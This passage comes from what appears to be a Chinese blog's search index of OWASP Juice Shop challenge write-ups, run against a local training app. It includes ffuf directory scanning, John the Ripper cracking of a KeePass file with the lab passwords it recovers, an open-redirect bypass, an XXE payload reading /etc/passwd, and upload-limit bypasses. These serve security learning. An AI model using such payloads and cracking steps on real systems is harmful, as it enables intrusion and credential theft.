/usr/share/wordlists/dirb/common.txt \\ -H \u0026#34;Cookie: token=YOUR_TOKEN\u0026#34; \\ -H \u0026#34;Referer: http://127.0.0.1:3000/\u0026#34; \\ -o dir1.csv \\ -of csv \\ -fs 75002 \\ -t 50 \\ -v ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:7:1","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#ffuf-扫描命令"},{"categories":["security"],"collections":["juice-shop"],"content":"curl 验证命令 # 检查 /support/logs 是否存在 curl -i http://127.0.0.1:3000/support/logs # 下载日志文件 curl -o access.log http://127.0.0.1:3000/support/logs ","date":"2026-04-14","objectID":"/posts/2026/juice-shop-access-log/:7:2","tags":["juice-shop","目录扫描","ffuf","访问日志"],"title":"【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志","uri":"/posts/2026/juice-shop-access-log/#curl-验证命令"},{"categories":["security"],"collections":["juice-shop"],"content":"下载 FTP 中的 KeePass 数据库文件，通过分析密码策略生成定制化字典，使用 john 爆破 KeePass 密码，获取支持团队的真实凭据。","date":"2026-04-13","objectID":"/posts/2026/juice-shop-login-support-team/","tags":["juice-shop","密码爆破","KeePass","字典生成"],"title":"【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码","uri":"/posts/2026/juice-shop-login-support-team/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码 ","date":"2026-04-13","objectID":"/posts/2026/juice-shop-login-support-team/:0:0","tags":["juice-shop","密码爆破","KeePass","字典生成"],"title":"【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码","uri":"/posts/2026/juice-shop-login-support-team/#juice-shop-login-support-team通过-keepass-字典爆破获取密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 这一挑战的根本原因是人为错误远远多于技术缺陷。 2. 支持团队位于低成本国家，且团队结构波动剧烈——员工们稍有机会获得薪资稍高的职位就会离职。 3. 为防止滥用，支持团队账户本身的密码实际上非常强。 4. 为便于事件发生时快速响应，支持团队采用第三方工具，所有支持工程师均可通过该工具获取当前账户密码。 5. 虽然也可以通过 SQL 注入以支持团队身份登录，但这无法解决该挑战。\r","date":"2026-04-13","objectID":"/posts/2026/juice-shop-login-support-team/:1:0","tags":["juice-shop","密码爆破","KeePass","字典生成"],"title":"【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码","uri":"/posts/2026/juice-shop-login-support-team/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"Login Support Team 首先我们到 http://127.0.0.1:3000/ftp/ ，下载 incident-support.kdbx 文件（我直接点击文件进行下载的，似乎没有副作用？） 处理文件 ❯ john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt ./support.txt ❯ john --wordlist=/usr/share/wordlists/rockyou.txt ./support.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 1 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 12 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status 0g 0:00:00:03 DONE (2026-04-12 01:45) 0g/s 4496Kp/s 4496Kc/s 4496KC/s ..*7¡Vamos! Session completed. emmmm，无效，对吧 回到main.js，搜索support， 依旧无果 .kdbx 是 KeePass 的文件后缀 我这里没有对应的password文件（应该日常手机字典的） 漫长的john破解中…… 一夜过去了没有破解 看来是密码本有一点问题 再回到main.js 想起之前忽略的地方 那行注释 这里使用 suport@ 搜索是因为之前所有内容，只有这里有关@，使用support@搜索节约时间 这里疑似是密码生成方式 /(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?\u0026amp;])[A-Za-z\\d@$!%*?\u0026amp;]{12,30}/ 分析这个密码生成要求 要求 说明 (?=.*[a-z]) 必须包含至少 1 个小写字母 (?=.*[A-Z]) 必须包含至少 1 个大写字母 (?=.*\\d) 必须包含至少 1 个数字 (?=.*[@$!%*?\u0026amp;]) 必须包含至少 1 个特殊字符 [A-Za-z\\d@$!%*?\u0026amp;]{12,30} 长度 12-30 位，仅允许这些字符 这个要求生成命令如下 crunch 12 30 \u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@$!%*?\u0026amp;\u0026#39; \u0026gt; passwords.txt 结果可能有8亿以上的组合，明显不对，这样破解时间代价太大 先尝试将题目Login Support Team 单词加入到密码，如下 Login@@@@@@@ Support@@@@@@ Team@@@@@@@@@ 降低密码复杂度，长度12位排除字母 crunch 12 12 \u0026#39;0123456789@$!%*?\u0026amp;\u0026#39; -t \u0026#39;Login@@@@@@@\u0026#39; \u0026gt; passwords.txt crunch 12 12 \u0026#39;0123456789@$!%*?\u0026amp;\u0026#39; -t \u0026#39;Support@@@@@\u0026#39; \u0026gt; passwords.txt crunch 12 12 \u0026#39;0123456789@$!%*?\u0026amp;\u0026#39; -t \u0026#39;Team@@@@@@@@\u0026#39; \u0026gt; passwords.txt 这三条生成字典大小分别是：4 GB、17 MB、84 GB ❯ crunch 12 12 \u0026#39;0123456789@$!%*?\u0026amp;\u0026#39; -t \u0026#39;Support@@@@@\u0026#39; \u0026gt; support_passwords_wordlist.txt 这里我之前的文件乱了删除了一下，重新生成一个密码hash文件 keepass2john incident-support.kdbx \u0026gt; incident-support.kdbx.txt 使用john 进行爆破（这里我发现john会自动识别KeePass 格式所以没有进行format选择） 得到密码Support2022!进行登录 ( •̀ ω •́ )y 耶，成功登录，选中第一行\u0026lt;C-v\u0026gt; 复制一下 回到网页尝试登录 support@juice-sh.op J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P 成功！！！ ","date":"2026-04-13","objectID":"/posts/2026/juice-shop-login-support-team/:0:0","tags":["juice-shop","密码爆破","KeePass","字典生成"],"title":"【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码","uri":"/posts/2026/juice-shop-login-support-team/#login-support-team"},{"categories":["security"],"collections":["juice-shop"],"content":"总结 关于过程，这道题6星，使用SQL注入登录无效，且完全在我的能力之外，本篇就是完全是实践笔记，也是第一个完成的6星挑战，过程比较曲折，一开始的尝试完全是猜，直到最后大多数内容都是猜，我比较讨厌猜内容，好多部分都是尝试，试试这个方法能不能爆破，试试这个密码是不是对的，即使看过wp，一些具体的操作也很难 关于解题过程，我认为密码字典的构建过程是最麻烦复杂的，字典这种东西需要日常进行积累，需要针对目标进行调整，还需要不停的猜，从12-30 长度先猜12长度，猜猜密码字符结构，并进行尝试，才有可能做出来，付出与收获可能完全不对等。 这个挑战用了一个周六和周末，也只是回归安全的康复训练而已，之后可能需要投入到到处找真实bug积累经验和直觉的过程了。 ","date":"2026-04-13","objectID":"/posts/2026/juice-shop-login-support-team/:1:0","tags":["juice-shop","密码爆破","KeePass","字典生成"],"title":"【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码","uri":"/posts/2026/juice-shop-login-support-team/#总结"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 https://curiositykillscolby.com/2020/12/06/pwning-owasps-juice-shop-pt-41-login-support-team/ https://www.youtube.com/watch?v=s-aynKnUJZ8 https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/6-stars/login_support_team.md ","date":"2026-04-13","objectID":"/posts/2026/juice-shop-login-support-team/:2:0","tags":["juice-shop","密码爆破","KeePass","字典生成"],"title":"【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码","uri":"/posts/2026/juice-shop-login-support-team/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过篡改重定向 URL 参数，在允许列表中的 URL 前后添加恶意地址，绕过服务器的 URL 白名单验证，强制重定向到非白名单页面。","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单 ","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/:0:0","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/#juice-shop-allowlist-bypass绕过-url-重定向白名单"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 必须找到一种方法来绕过允许重定向的 URL 列表。 2. 在 OWASP Juice Shop 中，可以找到多个发生重定向的位置。 3. 应用程序仅允许重定向至允许列表（白名单）中的 URL。 4. 篡改重定向机制可能会获得关于其底层工作原理的宝贵信息。\r","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/:1:0","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/:2:0","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：找到重定向功能 在应用中找到会进行 URL 重定向的功能，例如外部链接跳转。 ","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/:2:1","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/#-第一步找到重定向功能"},{"categories":["security"],"collections":["juice-shop"],"content":"📤 第二步：抓包并发送到 Repeater 使用 Burp Suite 拦截重定向请求，将其发送到 Repeater 进行修改。 ","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/:2:2","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/#-第二步抓包并发送到-repeater"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第三步：尝试直接修改 URL（失败） 直接修改重定向 URL 为非白名单地址（如 http://www.baidu.com），服务器会拒绝并返回错误。 错误原因： 服务器验证了 URL 是否在允许列表中。 ","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/:2:3","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/#-第三步尝试直接修改-url失败"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第四步：完成挑战 尝试在原来链接的前面或者后面加上一个地址参数，虽然还是失败，但是挑战完成了（？） ","date":"2026-04-12","objectID":"/posts/2026/juice-shop-allowlist-bypass/:2:4","tags":["juice-shop","Open_Redirect","白名单绕过"],"title":"【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单","uri":"/posts/2026/juice-shop-allowlist-bypass/#-第四步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过构造 XXE（XML 外部实体）攻击 payload，利用投诉表单的文件上传接口读取服务器上的敏感文件（如 /etc/passwd）。","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/:0:0","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/#juice-shop-xxe-data-access通过-xxe-读取服务器文件"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 这项挑战的关键点是废弃的 B2B 接口。 2. 这个挑战听起来比实际要难得多，这更凸显了其潜在漏洞的严重性。 3. 研究典型的 XXE 攻击模式，基本上就能免费获得解决方案。\r","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/:1:0","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/:2:0","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"📝 第一步：构造 XXE Payload 创建一个 XML 文件，包含 XXE（XML 外部实体）攻击 payload： ❯ vim 1.xml 文件内容： \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE xxe [ \u0026lt;!ELEMENT xxe ANY \u0026gt; \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///etc/passwd\u0026#34; \u0026gt;]\u0026gt; \u0026lt;xxe\u0026gt;\u0026amp;xxe;\u0026lt;/xxe\u0026gt; Payload 说明： 部分 说明 \u0026lt;!DOCTYPE xxe [...]\u0026gt; 定义文档类型和实体 \u0026lt;!ENTITY xxe SYSTEM \u0026quot;file:///etc/passwd\u0026quot;\u0026gt; 关键：定义外部实体，指向 /etc/passwd 文件 \u0026lt;xxe\u0026gt;\u0026amp;xxe;\u0026lt;/xxe\u0026gt; 在 XML 中引用该实体，触发文件读取 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/:2:1","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/#-第一步构造-xxe-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"📤 第二步：上传 XXE 文件 打开投诉（Complaint）表单，选择刚创建的 1.xml 文件进行上传。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/:2:2","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/#-第二步上传-xxe-文件"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第三步：查看响应 打开浏览器开发者工具（DevTools），查看网络请求： XHR POST http://127.0.0.1:3000/file-upload 在响应或错误信息中，服务器会返回 /etc/passwd 文件的内容。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/:2:3","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/#-第三步查看响应"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第四步：完成挑战 成功读取服务器上的敏感文件内容，挑战完成。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-xxe-data-access/:2:4","tags":["juice-shop","XXE","XML_External_Entity","文件读取"],"title":"【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件","uri":"/posts/2026/juice-shop-xxe-data-access/#-第四步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过访问 security.txt 和 CSAF 提供商元数据，找到已知漏洞的安全公告，下载校验和文件并提交作为尽职调查证明。","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Security Advisory：提交安全公告校验和 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:0:0","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#juice-shop-security-advisory提交安全公告校验和"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 安全公告通常列于 security.txt 文件中。\r","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:1:0","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:0","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"📄 第一步：访问 security.txt 根据提示，安全公告信息通常在 security.txt 文件中。访问标准位置： http://127.0.0.1:3000/.well-known/security.txt ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:1","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-第一步访问-securitytxt"},{"categories":["security"],"collections":["juice-shop"],"content":"🔗 第二步：查找 CSAF 提供商元数据 security.txt 文件中指向 CSAF（Common Security Advisory Framework）提供商元数据： http://localhost:3000/.well-known/csaf/provider-metadata.json ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:2","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-第二步查找-csaf-提供商元数据"},{"categories":["security"],"collections":["juice-shop"],"content":"📂 第三步：浏览 CSAF 目录 访问 CSAF 根目录，查看可用的安全公告： http://localhost:3000/.well-known/csaf/ ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:3","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-第三步浏览-csaf-目录"},{"categories":["security"],"collections":["juice-shop"],"content":"📋 第四步：查看特定年份的公告 选择一个年份（如 2017）查看该年的安全公告： http://localhost:3000/.well-known/csaf/2017 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:4","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-第四步查看特定年份的公告"},{"categories":["security"],"collections":["juice-shop"],"content":"🔐 第五步：下载校验和文件 找到相关的 .sha512 校验和文件并下载，查看其内容。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:5","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-第五步下载校验和文件"},{"categories":["security"],"collections":["juice-shop"],"content":"📝 第六步：提交校验和 进入客户反馈页面，将下载的校验和内容复制并提交。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:6","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-第六步提交校验和"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第七步：完成挑战 成功提交校验和作为尽职调查证明，挑战完成。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:2:7","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-第七步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"📚 相关知识 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:3:0","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#-相关知识"},{"categories":["security"],"collections":["juice-shop"],"content":"security.txt 标准 RFC 9116 定义了 security.txt 文件的标准位置和格式： /.well-known/security.txt 常见字段： 字段 说明 Contact 安全联系方式 Expires 文件过期时间 Preferred-Languages 首选语言 Canonical 规范 URL Policy 安全政策链接 Acknowledgments 致谢页面 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:3:1","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#securitytxt-标准"},{"categories":["security"],"collections":["juice-shop"],"content":"CSAF 标准 CSAF 2.0 是一个用于发布安全公告的标准框架，包含： provider-metadata.json — 提供商信息和公告索引 年份目录 — 按年份组织的安全公告 .sha512 文件 — 公告的加密校验和 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:3:2","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#csaf-标准"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 https://github.com/juice-shop/juice-shop/issues/2198 RFC 9116 - security.txt CSAF 2.0 标准 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-security-advisory/:4:0","tags":["juice-shop","OSINT","安全公告","CSAF"],"title":"【juice-shop】★★★ Security Advisory：提交安全公告校验和","uri":"/posts/2026/juice-shop-security-advisory/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过拦截投诉表单的文件上传请求，在请求体中重复文件内容，绕过客户端文件大小限制，上传超过 100 kB 的文件。","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:0:0","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#juice-shop-upload-size上传超大文件绕过限制"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 在\"投诉\"表单中附加一个小文件，调查此上传实际上是如何工作的。 2. 首先，尝试理解文件上传在客户端和服务器端是如何实际处理的。 3. 基于这种理解，在正确的位置找到一个\"薄弱点\"，并精心设计一个漏洞利用方案。\r","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:1:0","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:2:0","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：登录并进入投诉表单 先登录，找到投诉界面，抓包，正常上传一次文件，捕获请求包，发送到重放器 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:2:1","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#-第一步登录并进入投诉表单"},{"categories":["security"],"collections":["juice-shop"],"content":"📤 第二步：正常上传文件并抓包 选择一个小文件（如 SVG 图片）进行上传，使用 Burp Suite 拦截请求。 将请求发送到 Repeater 进行后续修改。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:2:2","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#-第二步正常上传文件并抓包"},{"categories":["security"],"collections":["juice-shop"],"content":"📝 第三步：查看文件内容 随便查看被上传文件的原始内容，例如一个 SVG 文件： ❯ cat 2.svg ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:2:3","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#-第三步查看文件内容"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：绕过大小限制 在 Repeater 中，找到请求体中的文件内容部分，将其内容重复复制多次（如复制 30-50 遍），使总文件大小超过 100 kB。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:2:4","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#-第四步绕过大小限制"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 发送修改后的请求，成功上传超过 100 kB 的文件，挑战完成。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:2:5","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"总结 典型的前端进行了验证，但是后端没有做第二次验证，前端传的所有数据都是不可信的…… ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-size/:3:0","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Size：上传超大文件绕过限制","uri":"/posts/2026/juice-shop-upload-size/#总结"},{"categories":["security"],"collections":["juice-shop"],"content":"通过拦截投诉表单的文件上传请求，删除文件扩展名，绕过客户端文件类型限制，上传不符合 .pdf 或 .zip 要求的文件。","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Upload Type：绕过文件类型限制 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:0:0","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#juice-shop-upload-type绕过文件类型限制"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 在\"投诉\"表单中附加一个 PDF 或 ZIP 文件，调查此上传实际上是如何工作的。 2. 若已解决\"上传大于 100 kB 的文件\"挑战，不妨尝试在此处应用相同的解决方案。\r","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:1:0","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:2:0","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：进入投诉表单 登录账户，导航至投诉（Complaint）表单页面。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:2:1","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#-第一步进入投诉表单"},{"categories":["security"],"collections":["juice-shop"],"content":"📤 第二步：正常上传文件 尝试上传一个 PDF 或 ZIP 文件，前端会验证文件扩展名。 前端仅允许上传 .pdf 或 .zip 扩展名的文件。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:2:2","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload Type：绕过文件类型限制","uri":"/posts/2026/juice-shop-upload-type/#-第二步正常上传文件"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第三步：抓包并发送到 Repeater 使用 Burp Suite 拦截上传请求，将请求发送到 Repeater。 ","date":"2026-04-10","objectID":"/posts/2026/juice-shop-upload-type/:2:3","tags":["juice-shop","File_Upload","文件上传绕过"],"title":"【juice-shop】★★★ Upload 